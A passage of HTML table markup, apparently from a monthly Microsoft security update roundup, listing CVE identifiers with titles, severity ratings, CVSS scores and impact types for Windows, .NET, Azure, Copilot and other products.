  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
